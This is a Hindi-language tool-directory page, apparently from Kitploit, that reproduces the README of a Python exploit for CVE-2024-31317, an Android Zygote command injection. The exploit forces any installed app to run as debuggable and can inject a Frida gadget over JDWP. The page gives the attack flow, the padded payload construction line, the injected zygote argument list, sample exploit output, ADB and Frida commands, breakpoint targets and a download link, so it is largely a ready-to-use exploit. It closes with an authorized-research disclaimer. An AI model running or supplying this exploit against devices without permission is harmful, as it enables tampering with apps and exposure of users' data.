Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Debuggable-App-Exploit — CVE-2024-31317 डीबग करने योग्य ऐप शोषण | Kitploit
उपकरण/GitHubGitHub/cleov2/debuggable-app-exploit
एंड्रॉइड सुरक्षाभेद्यता विश्लेषणशोषणफज़िंगमोबाइल सुरक्षालर्निंग और शिक्षापेलोड डेवलपमेंटबाइनरी शोषण
GitHubcleov2/debuggable-app-exploit

Debuggable-App-Exploit

CVE-2024-31317 डीबग करने योग्य ऐप शोषण

रिपॉजिटरी देखें
1235 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2024-31317 Debuggable ऐप एक्सप्लॉइट

CVE-2024-31317 (Android Zygote Injection) के लिए एक Python-आधारित एक्सप्लॉइट जो hidden_api_blacklist_exemptions सेटिंग के माध्यम से दुर्भावनापूर्ण zygote आर्गुमेंट्स इंजेक्ट करके किसी भी इंस्टॉल किए गए Android ऐप को debuggable बनाता है। रनटाइम हुकिंग के लिए वैकल्पिक Frida गैजेट इंजेक्शन शामिल है।

अवलोकन

यह एक्सप्लॉइट Android के Zygote प्रक्रिया में एक कमांड इंजेक्शन भेद्यता का लाभ उठाता है ताकि लक्ष्य एप्लिकेशन को debuggable फ्लैग सक्षम के साथ शुरू किया जा सके। यह रूट एक्सेस या ऐप के डीबग संस्करण की आवश्यकता के बिना किसी भी ऐप की JDWP डीबगिंग और निरीक्षण की अनुमति देता है।

शोध पर आधारित: Flanker के CVE-2024-31317 विश्लेषण

मुख्य अंतर्दृष्टि: "ZygoteArguments में runtime-flags फ़ील्ड वास्तव में किसी एप्लिकेशन के debuggable गुण को सक्षम करने के लिए उपयोग किया जा सकता है।"

विशेषताएं

  • स्वतः-पहचान मोड - स्वचालित रूप से लक्ष्य ऐप का UID, निर्देश सेट और डेटा निर्देशिका का पता लगाता है
  • Debuggable फ्लैग इंजेक्शन - डीबगिंग सक्षम करने के लिए runtime-flags=65535 सेट करता है
  • JDWP फ़ॉरवर्डिंग - एक्सप्लॉइट के बाद स्वचालित रूप से JDWP पोर्ट फ़ॉरवर्डिंग सेट करता है
  • Frida गैजेट इंजेक्शन - वैकल्पिक रूप से JDWP के माध्यम से रनटाइम हुकिंग के लिए Frida इंजेक्ट करता है
  • स्मार्ट ब्रेकपॉइंट - विश्वसनीय ब्रेकपॉइंट का उपयोग करता है जो उपयोगकर्ता इंटरैक्शन के बिना स्वचालित रूप से ट्रिगर होते हैं
  • स्वतः-इंस्टॉल डीबग ऐप - यदि मौजूद नहीं है तो हेल्पर ऐप इंस्टॉल करता है

आवश्यकताएँ

  • Android डिवाइस CVE-2024-31317 के लिए संवेदनशील (जून 2024 सुरक्षा पैच से पहले)
  • ADB स्थापित और USB डीबगिंग सक्षम
  • Python 3.10+
  • आवश्यक पैकेज: ppadb, jdwplib

स्थापना

निम्नलिखित फ़ाइलों को एक ही निर्देशिका में रखें:

root@kitploit:~
├── CVE-2024-31317-Debuggable.py    # Main exploit script
├── jdwplib.py                       # JDWP client library
├── app-debug.apk                    # Debuggable helper app
├── frida-gadget-android-*.so        # Frida gadget (optional)
├── frida-gadget.config.so           # Frida config (optional)
└── win32/adb.exe                    # Windows ADB binary

उपयोग

मूल उपयोग

root@kitploit:~
python CVE-2024-31317-Debuggable.py

स्क्रिप्ट आपको एक पैरामीटर पहचान मोड चुनने के लिए प्रेरित करेगी:

root@kitploit:~
==================================================
  CVE-2024-31317 Exploit
==================================================

[1] Auto-detect parameters
[2] Hardcoded values

Mode (1/2) [1]:

यह क्या करता है

  1. चरण 1: startSeq निकालें

    • एक debuggable हेल्पर ऐप शुरू करता है
    • JDWP के माध्यम से कनेक्ट होता है और स्टैक फ्रेम से startSeq मान निकालता है
    • हेल्पर ऐप बंद करता है
  2. चरण 2: Zygote आर्गुमेंट्स इंजेक्ट करें

    • runtime-flags=65535 (debuggable) के साथ दुर्भावनापूर्ण zygote आर्गुमेंट्स बनाता है
    • पेलोड को hidden_api_blacklist_exemptions सेटिंग में इंजेक्ट करता है
    • इंजेक्ट किए गए आर्गुमेंट्स के साथ लक्ष्य ऐप को फोर्स-स्टॉप और पुनरारंभ करता है
  3. चरण 3: पोस्ट-एक्सप्लॉइटेशन

    • JDWP पोर्ट फ़ॉरवर्डिंग सेट करता है
    • वैकल्पिक रूप से रनटाइम हुकिंग के लिए Frida गैजेट इंजेक्ट करता है

उदाहरण आउटपुट

root@kitploit:~
==================================================
  CVE-2024-31317 Exploit
==================================================

[1] Auto-detect parameters
[2] Hardcoded values

Mode (1/2) [1]: 1

[INFO] Phase 1: Extract startSeq
[INFO] com.debug.app already installed
[INFO] Setting debuggable
[INFO] Starting com.debug.app/.MainActivity
[INFO] PID: 12345
[INFO] JDWP port: 8700
[INFO] Suspending VM
[INFO] Scanning 42 frames
[INFO] startSeq: 123456
[INFO] Phase 2: Exploit com.debug.configurator
[INFO] Detecting parameters for com.debug.configurator
[INFO] UID: 10242
[INFO] Arch: arm64
[INFO] Data: /data/user/0/com.debug.configurator
[INFO] Android 13
[INFO] Payload: 8765 bytes
[INFO] Restarting target
[INFO] Done
[INFO] Target PID: 23456
[INFO] JDWP: 8701

Inject Frida? (y/N):

कॉन्फ़िगरेशन

लक्ष्य ऐप

स्क्रिप्ट के शीर्ष पर स्थित स्थिरांक संपादित करें:

root@kitploit:~
TARGET_APP = "com.debug.configurator"  # Change to your target package
DEBUG_APP = "com.debug.app"            # Helper debuggable app
DEBUG_APK = "app-debug.apk"            # APK file for helper app

स्वतः-पहचान बनाम हार्डकोडेड

स्वतः-पहचान मोड (अनुशंसित):

  • UID प्राप्त करने के लिए pm list packages -U का उपयोग करता है
  • निर्देश सेट और डेटा निर्देशिका प्राप्त करने के लिए dumpsys package का उपयोग करता है
  • विभिन्न उपकरणों में अधिक विश्वसनीय

हार्डकोडेड मोड:

  • डिफ़ॉल्ट मानों का उपयोग करता है (UID=10242, arm64, आदि)
  • तेज़ लेकिन यदि उपकरण डिफ़ॉल्ट से भिन्न है तो कम विश्वसनीय

Frida गैजेट इंजेक्शन

एक्सप्लॉइट सफल होने के बाद, आप वैकल्पिक रूप से Frida गैजेट इंजेक्ट कर सकते हैं:

root@kitploit:~
Inject Frida? (y/N): y

स्क्रिप्ट करेगी:

  1. frida-gadget.so को /data/local/tmp/ पर पुश करेगी
  2. run-as के माध्यम से ऐप के डेटा निर्देशिका में कॉपी करेगी
  3. एक ब्रेकपॉइंट सेट करेगी और JDWP के माध्यम से गैजेट लोड करेगी
  4. पोर्ट 27042 और 27043 को फ़ॉरवर्ड करेगी

ब्रेकपॉइंट लक्ष्य

शीर्ष ब्रेकपॉइंट स्वचालित रूप से ट्रिगर होने चाहिए। यदि वे टाइमआउट करते हैं, तो फ़ॉलबैक ब्रेकपॉइंट ट्रिगर करने के लिए ऐप पर टैप करें।

Frida से कनेक्ट करना

सफल इंजेक्शन के बाद:

root@kitploit:~
# Connect to gadget
frida -H 127.0.0.1:27042 -n Gadget

# List processes
frida-ps -H 127.0.0.1:27042

एक्सप्लॉइटेशन के बाद

एक बार एक्सप्लॉइट सफल हो जाने के बाद, लक्ष्य ऐप डीबगिंग सक्षम के साथ चल रहा है:

  1. JDWP डीबगर से कनेक्ट करें:

    root@kitploit:~
    jdb -attach localhost:8701
    
  2. Android Studio डीबगर का उपयोग करें - फ़ॉरवर्ड किए गए पोर्ट पर प्रक्रिया से अटैच करें

  3. Frida का उपयोग करें - यदि स्क्रिप्ट के माध्यम से गैजेट इंजेक्ट किया गया था

यह कैसे काम करता है

भेद्यता अवलोकन

CVE-2024-31317 Android के Zygote प्रक्रिया में एक कमांड इंजेक्शन भेद्यता है। विशेष रूप से तैयार इनपुट के साथ hidden_api_blacklist_exemptions सिस्टम सेटिंग में हेरफेर करके, हम किसी ऐप के शुरू होने पर मनमाने zygote आर्गुमेंट्स इंजेक्ट कर सकते हैं।

मुख्य घटक

  1. startSeq निष्कर्षण: प्रत्येक ऐप लॉन्च में एक अद्वितीय अनुक्रम संख्या होती है। हम स्टैक फ्रेम वेरिएबल्स का निरीक्षण करके JDWP के माध्यम से एक debuggable ऐप से इसे निकालते हैं।

  2. पेलोड निर्माण: हम zygote आर्गुमेंट्स बनाते हैं जिनमें शामिल हैं:

    root@kitploit:~
    --runtime-args
    --setuid=<target_uid>
    --setgid=<target_gid>
    --runtime-flags=65535      # Enables all debug flags
    --mount-external-default
    --target-sdk-version=35
    --setgroups=3003
    --nice-name=<package>
    --seinfo=default:targetSdkVersion=30:complete
    --instruction-set=<arch>
    --app-data-dir=<data_dir>
    --package-name=<package>
    --is-top-app
    --bind-mount-data-dirs
    android.app.ActivityThread
    seq=<startSeq+1>
    
  3. इंजेक्शन: पेलोड को Android 12+ के लिए विशिष्ट पैडिंग के साथ सिस्टम सेटिंग में इंजेक्ट किया जाता है:

    root@kitploit:~
    payload = "\n" * 3000 + "A" * 5157 + zygote_args + "," + ",\n" * 1400
    
  4. ट्रिगर: लक्ष्य ऐप को फोर्स-स्टॉप और पुनरारंभ करें, जो हमारे इंजेक्ट किए गए आर्गुमेंट्स और debuggable फ्लैग सक्षम के साथ लॉन्च होता है।

JDWP के माध्यम से Frida इंजेक्शन

Frida इंजेक्शन इस प्रकार काम करता है:

  1. JDWP के माध्यम से debuggable ऐप से कनेक्ट करना
  2. एक सामान्यतः कॉल की जाने वाली विधि पर ब्रेकपॉइंट सेट करना
  3. जब ब्रेकपॉइंट हिट होता है, तो Frida गैजेट साझा लाइब्रेरी को लोड करने के लिए Runtime.load() का उपयोग करना
  4. गैजेट इनिशियलाइज़ होता है और पोर्ट 27042 पर सुनना शुरू करता है

सीमाएँ

  • केवल CVE-2024-31317 (जून 2024 सुरक्षा पैच से पहले) के लिए संवेदनशील उपकरणों पर काम करता है
  • रूट एक्सप्लॉइट नहीं है - केवल लक्ष्य ऐप तक debuggable पहुंच प्रदान करता है
  • Frida इंजेक्शन के लिए ऐप के चल रहे होने और ब्रेकपॉइंट हिट होने की आवश्यकता होती है
  • कुछ भारी अस्पष्ट ऐप्स Frida हुकिंग का प्रतिरोध कर सकते हैं

समस्या निवारण

"startSeq प्राप्त करने में विफल"

  • सुनिश्चित करें कि डीबग ऐप ठीक से हस्ताक्षरित और इंस्टॉल करने योग्य है
  • एक्सप्लॉइट को फिर से चलाने का प्रयास करें

Frida इंजेक्शन के दौरान "कोई ब्रेकपॉइंट हिट नहीं हुआ"

  • टच/ड्रॉ ब्रेकपॉइंट ट्रिगर करने के लिए ऐप पर टैप करें
  • सुनिश्चित करें कि ऐप अग्रभूमि में है

Frida कनेक्शन अस्वीकृत

  • पोर्ट फ़ॉरवर्डिंग सत्यापित करें: adb forward --list
  • पोर्ट फ़ॉरवर्डिंग पुनः चलाएँ: adb forward tcp:27042 tcp:27042

क्रेडिट्स

  • Flanker (flanker017) - CVE-2024-31317 पर मूल शोध और विस्तृत लेख
  • typlo - JDWP निरीक्षण के माध्यम से startSeq खोजने के लिए कोड स्निपेट्स
  • Anonymous941 - Zygote इंजेक्शन टूलकिट संदर्भ कार्यान्वयन
  • Meta X Red Team - मूल भेद्यता खोज और प्रकटीकरण

संदर्भ

  • CVE-2024-31317 विस्तृत विश्लेषण - Flanker
  • Meta सुरक्षा सलाह
  • InfoSec लेख
  • Anonymous941 का Zygote इंजेक्शन टूलकिट
  • Frida दस्तावेज़ीकरण

अस्वीकरण

यह उपकरण केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए है। इसका उपयोग केवल उन उपकरणों पर करें जिनके आप मालिक हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है। कंप्यूटर सिस्टम में अनधिकृत पहुंच अवैध और अनैतिक है। लेखक इस उपकरण के किसी भी दुरुपयोग के लिए जिम्मेदार नहीं हैं।

लाइसेंस

MIT लाइसेंस - विवरण के लिए LICENSE फ़ाइल देखें।

टूल डाउनलोड करें
क्लासविधिट्रिगर
android.os.MessageQueuenextस्वचालित - मुख्य लूपर लगातार पोल करता है
android.os.BinderexecTransactस्वचालित - कोई IPC/बाइंडर कॉल
android.app.ActivityThreadhandleMessageस्वचालित - ऐप का मुख्य हैंडलर
android.os.HandlerdispatchMessageस्वचालित - संदेश भेजना
android.os.HandlerhandleMessageस्वचालित - संदेश प्रबंधन
android.view.ChoreographerdoFrameस्वचालित - फ़्रेम कॉलबैक
android.view.ViewdispatchTouchEventमैनुअल - स्पर्श की आवश्यकता है
android.view.ViewonDrawमैनुअल - UI पुनः ड्रॉ की आवश्यकता है